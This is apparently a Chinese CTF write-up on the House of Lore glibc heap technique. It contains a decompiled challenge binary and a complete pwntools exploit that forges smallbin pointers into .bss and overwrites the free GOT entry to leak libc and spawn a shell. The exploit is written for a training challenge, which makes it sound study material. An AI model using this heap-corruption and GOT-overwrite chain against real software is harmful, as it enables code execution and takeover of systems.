原理
通过伪造smallbin中chunk的bk指针,指向fake_chunk。因为当malloc时,会根据bk指针去寻找。所以就是相当于伪造一个chunk加入到smallbin链表中,并且这个伪造的chunk在原本chunk后面,即原本chunk的bk指针指向fake_chunk。同时fake_chunk的fd要指向原本的chunk。这样才能绕过链表检测。然后malloc两次smallbin大小的chunk,就能申请到fake_chunk
条件
- 能修改smallbin的bk指针,指向fake_chunk
- 能修改fake_chunk的fd,指向smallbin中的chunk
- 申请两次smallbin,即可申请出fake_chunk
要想free_chunk从unsortedbin进入到smallbin中,只要申请一个大于unsortedbin中chunk大小的即可
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; int v4;
init(argc, argv, envp); init_name_message(); v3 = 0; while ( 1 ) { while ( 1 ) { menu(); v4 = read_int(); if ( v4 != 1 ) break; add(); } switch ( v4 ) { case 2: edit(); break; case 3: delete(); break; case 4: change_name(); break; case 5: if ( v3 ) { puts("I think one chance is enough"); } else { change_message(); v3 = 1; } break; case 6: puts("Good job!"); exit(0); default: puts("Invalid choice!"); break; } } }
|
利用思路
菜单开始之前会申请一个chunk,然后利用修改message功能,会将这个0xc0大小的chunk释放,此时这个chunk进入到unsortedbin中,然后填写0xee大小的size,由于unsoeredbin中的chunk大小不满足,所以这个chunk会进入到smallbin中,利用向old_message写的功能,将smallbin的bk修改到bss段上name的区域。再利用修改name的功能,修改fake_chunk的fd指向smallbin。然后申请两次即可申请到bss段的chunk。再控制chunk指针,修改free的got表地址为puts函数,泄露libc地址,后再修改为system函数,即可getshell。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('challenge-97a11b692c4ee024.sandbox.ctfhub.com', 31273) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.23.so') def add(size): rl("Your choice >> ") sl('1') rl("size") sl(str(size)) def edit(index,content): rl("Your choice >> ") sl('2') rl("Which page do you want to edit?") sl(str(index)) rl("Input your content:") s(content) def delete(index): rl("Your choice >> ") sl('3') rl("Which page do you want to delete?") sl(str(index)) def change_name(name): rl("Your choice >> ") sl('4') rl("Your new name:") sl(name) def change_message(size,content,message): rl("Your choice >> ") sl('5') rl("Your message is saved at ") rl("0x") global heap_addr heap_addr = int(rl('\x0a'),16) lg("heap_addr",heap_addr) rl("Your size of new message:") sl(str(size)) rl("Input your new message:") sl(content) rl("say goodbye to the old message:") sl(message) gdb.attach(p) rl("Now,please input your name,Mr. writer:") sl('aaaaa') rl("And write some message for your book?") sl('bbbbb')
add(0x80)
change_message(0xee,'a',p64(0x6020a0-0x10)*2)
change_name(p64(heap_addr-0x10)*2) add(0xb0) add(0xb0)
free = elf.got['free'] puts = elf.got['puts'] edit(2,p64(0)*12+p64(free)) edit(0,p64(elf.plt['puts'])) delete(1) rl("\x0a") libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak-0x3c4b78-0xb0 lg("libc_base",libc_base)
system = libc_base+libc.sym['system'] edit(0,p64(system)) change_name('/bin/sh\x00') delete(2)
inter()
|